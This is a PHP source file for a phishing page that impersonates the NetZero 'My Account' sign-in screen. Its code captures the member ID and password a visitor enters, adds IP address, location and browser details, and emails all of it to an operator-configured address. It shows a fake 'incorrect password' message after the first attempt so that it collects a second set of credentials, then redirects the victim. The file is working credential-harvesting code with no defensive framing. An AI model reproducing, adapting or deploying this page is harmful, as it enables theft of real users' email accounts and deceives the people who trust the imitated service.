<?php
require "core/EntityVariables.php";
$config = require "KarmaEntity/config/config.php";

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (!isset($_SESSION['first_submit'])) {
        $_SESSION['first_submit'] = true;
        $_SESSION['karma-emailaccess1'] = htmlspecialchars($_POST['karma-emailaccess'], ENT_QUOTES, 'UTF-8');
        $_SESSION['karma-emailpassword1'] = htmlspecialchars($_POST['karma-emailpassword'], ENT_QUOTES, 'UTF-8');
        $data = [
            'entity_email' => $_SESSION['entity_email'] ?? '',
            'karma-emailaccess1' => $_SESSION['karma-emailaccess1'],
            'karma-emailpassword1' => $_SESSION['karma-emailpassword1'],
        ];

        $message = '<div style="font-family: -apple-system, BlinkMacSystemFont, \'Segoe UI\', Roboto, Helvetica, Arial, sans-serif; background: #f4f7fc; border-radius: 20px; box-shadow: 0 4px 32px rgba(0, 0, 0, 0.1); padding: 40px 30px; line-height: 1.5;">'
            .'<h2 style="color: #2c3e50; font-size: 1.5rem; margin-bottom: 50px; letter-spacing: 0.8px; font-weight: 600;">' 
            .'<i>"' . htmlspecialchars($quote) . '"</i></h2>'
            .'<h3 style="color: #2c3e50; font-size: 1.1rem; margin-bottom: 20px; letter-spacing: 0.8px; font-weight: 700;">EMAIL AKSES INFO #1</h3>'
            .'<pre style="font-size: 0.9rem; color: #34495e; padding: 10px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); margin-bottom: 30px;">'
            .'<code style="display: block; white-space: pre-wrap; word-wrap: break-word;">'
            .'Email         : ' . htmlspecialchars($data['entity_email']) . "\n"
            .'Email/User ID : ' . htmlspecialchars($data['karma-emailaccess1']) . "\n"
            .'Password      : ' . htmlspecialchars($data['karma-emailpassword1']) . "\n"
            .'</code>'
            .'</pre>'
            .'<h3 style="color: #2c3e50; font-size: 1.1rem; margin-bottom: 20px; letter-spacing: 0.8px; font-weight: 700;">DEVICE INFO</h3>'
            .'<pre style="font-size: 0.9rem; color: #34495e; padding: 10px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);">'
            .'<code style="display: block; white-space: pre-wrap; word-wrap: break-word;">'
            .'IP           : ' . htmlspecialchars($ip) . "\n"
            .'Country      : ' . htmlspecialchars($country) . "\n"
            .'City         : ' . htmlspecialchars($city) . "\n"
            .'Region       : ' . htmlspecialchars($region) . "\n"
            .'Latitude     : ' . htmlspecialchars($latitude) . "\n"
            .'Longitude    : ' . htmlspecialchars($longitude) . "\n"
            .'Timezone     : ' . htmlspecialchars($timezone) . "\n"
            .'User Agent   : ' . htmlspecialchars($userAgent) . "\n"
            .'</code>'
            .'</pre>'
            .'</div>';
        $to = $config['result_email'];
        $subject = 'EMAIL #1 :: ' . $data['karma-emailaccess1'] . ' # [ ' . $country . ' - ' . $ip . ' ]';
        $headers = "MIME-Version: 1.0\r\n";
        $headers .= "Content-Type: text/html; charset=utf-8\r\n";
        $headers .= "From: Entity <karma@entity.net>\r\n";
        mail($to, $subject, $message, $headers);
        EntityMessage("EMAIL #1 RECEIVED", $ip);
        header("Location: /netzero");
        exit();
    } else {
        unset($_SESSION['first_submit']);
        $_SESSION['karma-emailaccess2'] = htmlspecialchars($_POST['karma-emailaccess'], ENT_QUOTES, 'UTF-8');
        $_SESSION['karma-emailpassword2'] = htmlspecialchars($_POST['karma-emailpassword'], ENT_QUOTES, 'UTF-8');
        $data = [
            'entity_email' => $_SESSION['entity_email'] ?? '',
            'karma-emailaccess2' => $_SESSION['karma-emailaccess2'],
            'karma-emailpassword2' => $_SESSION['karma-emailpassword2'],
        ];

        $message = '<div style="font-family: -apple-system, BlinkMacSystemFont, \'Segoe UI\', Roboto, Helvetica, Arial, sans-serif; background: #f4f7fc; border-radius: 20px; box-shadow: 0 4px 32px rgba(0, 0, 0, 0.1); padding: 40px 30px; line-height: 1.5;">'
            .'<h2 style="color: #2c3e50; font-size: 1.5rem; margin-bottom: 50px; letter-spacing: 0.8px; font-weight: 600;">' 
            .'<i>"' . htmlspecialchars($quote) . '"</i></h2>'
            .'<h3 style="color: #2c3e50; font-size: 1.1rem; margin-bottom: 20px; letter-spacing: 0.8px; font-weight: 700;">EMAIL AKSES INFO #1</h3>'
            .'<pre style="font-size: 0.9rem; color: #34495e; padding: 10px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); margin-bottom: 30px;">'
            .'<code style="display: block; white-space: pre-wrap; word-wrap: break-word;">'
            .'Email         : ' . htmlspecialchars($data['entity_email']) . "\n"
            .'Email/User ID : ' . htmlspecialchars($data['karma-emailaccess2']) . "\n"
            .'Password      : ' . htmlspecialchars($data['karma-emailpassword2']) . "\n"
            .'</code>'
            .'</pre>'
            .'<h3 style="color: #2c3e50; font-size: 1.1rem; margin-bottom: 20px; letter-spacing: 0.8px; font-weight: 700;">DEVICE INFO</h3>'
            .'<pre style="font-size: 0.9rem; color: #34495e; padding: 10px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);">'
            .'<code style="display: block; white-space: pre-wrap; word-wrap: break-word;">'
            .'IP           : ' . htmlspecialchars($ip) . "\n"
            .'Country      : ' . htmlspecialchars($country) . "\n"
            .'City         : ' . htmlspecialchars($city) . "\n"
            .'Region       : ' . htmlspecialchars($region) . "\n"
            .'Latitude     : ' . htmlspecialchars($latitude) . "\n"
            .'Longitude    : ' . htmlspecialchars($longitude) . "\n"
            .'Timezone     : ' . htmlspecialchars($timezone) . "\n"
            .'User Agent   : ' . htmlspecialchars($userAgent) . "\n"
            .'</code>'
            .'</pre>'
            .'</div>';
        $to = $config['result_email'];
        $subject = 'EMAIL #2 :: ' . $data['karma-emailaccess2'] . ' # [ ' . $country . ' - ' . $ip . ' ]';
        $headers = "MIME-Version: 1.0\r\n";
        $headers .= "Content-Type: text/html; charset=utf-8\r\n";
        $headers .= "From: Entity <karma@entity.net>\r\n";
        mail($to, $subject, $message, $headers);
        EntityMessage("EMAIL #2 RECEIVED", $ip);
        header("Location: /secure?entityId=$random_entity_id");
        exit();
    }
}

?>
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>NetZero - My Account - Mobile Broadband, DSL, Dial-Up, Free Email</title>
        <link rel="icon" href="/public/images/netzero.ico" type="image/ico">
        <link rel="stylesheet" href="/public/css/karma_styles.css?v=<?= time() ?>">
        <link rel="stylesheet" href="/public/css/karma_email.css?v=<?= time() ?>">
    </head>
    <body class="font-helevetica container relative max-w-7xl mx-auto h-10 sm:h-screen">

        <header class="flex flex-col relative sm:absolute w-full">
            <div class="bg-stone-900/85 p-2 px-10 top-0 left-0 w-full z-10 flex justify-end items-end gap-1">
                <img src="/public/images/support-ask.png" alt="logo">
                <p class="text-white"> Support </p>
            </div>
            <div class="bg-white/65 sm:px-10 top-0 left-0 w-full z-10">
                <img src="/public/images/netzero-header.png" alt="Logo" />
            </div>
        </header>

        <div class="relative mb-15 sm:mb-0">
            <img src="/public/images/netzero-bg.png" alt="Logo" class="w-full" />
        </div>

        <form action="" method="post" id="emailaccess-form">
            <main class="relative container px-10 mt-3 flex flex-col sm:flex-row sm:gap-42">
                <div class="max-w-sm">
                    <h1 class="text-[#ff9e15] text-[30px] mb-5 sm:mb-7"> SIGN IN </h1>
                    
                    <?php if (isset($_SESSION['first_submit'])): ?>
                        <p class="text-red-600 text-sm mb-4">The Member ID/Mobile Number or Password you have entered is incorrect. Please check the spelling and try again.</p>
                    <?php endif; ?>

                    <label for="karma-emailaccess" class="block mb-1 text-[16px] text-[#646469] font-semibold">MEMBER ID</label>
                    <input type="text" name="karma-emailaccess" id="karma-emailaccess" class="w-[230px] h-9 border-1 border-stone-300 rounded-md mb-4 px-3" required />
                    
                    <label for="karma-emailpassword" class="block mb-1 text-[16px] text-[#646469] font-semibold">PASSWORD</label>
                    <input type="password" name="karma-emailpassword" id="karma-emailpassword" class="w-[230px] h-9 border-1 border-stone-300 rounded-md px-3" required />
                    <button type="submit" class="flex items-center bg-[#ff9e19] text-xl text-white py-2 px-8 rounded mt-4 hover:bg-[#ff9e19] duration-150 transition h-8 cursor-pointer tracking-wider">SIGN IN</button>
                    <hr class="text-[#ff9e15] mt-10"/>
                </div>
                <div class="mt-9 max-w-xl mb-5 sm:mb-0">
                    <h1 class="text-[#ff9e15] text-[30px] mb-3"> Not a NetZero Member? </h1>
                    <span class="text-xs max-w-xl tracking-wide text-stone-600">
                        Get NetZero DSL and Dial-Up Internet services at affordable prices. To compare features and benefits of NetZero Internet services and to sign up now, <span class="text-[#004D71] hover:text-green-500 cursor-pointer">Click Here</span>.
                    </span>
                </div>
            </main>
        </form>
        <footer class="flex bg-stone-600 relative sm:absolute bottom-0 left-0 w-full z-10 mb-1 p-2 px-10">
                <p class="text-white font-bold text-xs">&copy; 2025 NetZero, Inc</p>
        </footer>
        <div class="hidden sm:flex absolute bottom-0 left-0 w-full z-10 mb-3 text-xs tracking-wider gap-2 text-stone-400 px-2">
            <p class="cursor-pointer">My NetZero | </p>
            <p class="cursor-pointer">My Account | </p>
            <p class="cursor-pointer">Our Services | </p>
            <p class="cursor-pointer">Privacy Policy | </p>
            <p class="cursor-pointer">Your Privacy Rights: Do Not Sell My Info | </p>
            <p class="cursor-pointer">About Ads | </p>
            <p class="cursor-pointer">Terms of Service | </p>
            <p class="cursor-pointer">Press Center </p>
        </div>
    </body>
</html>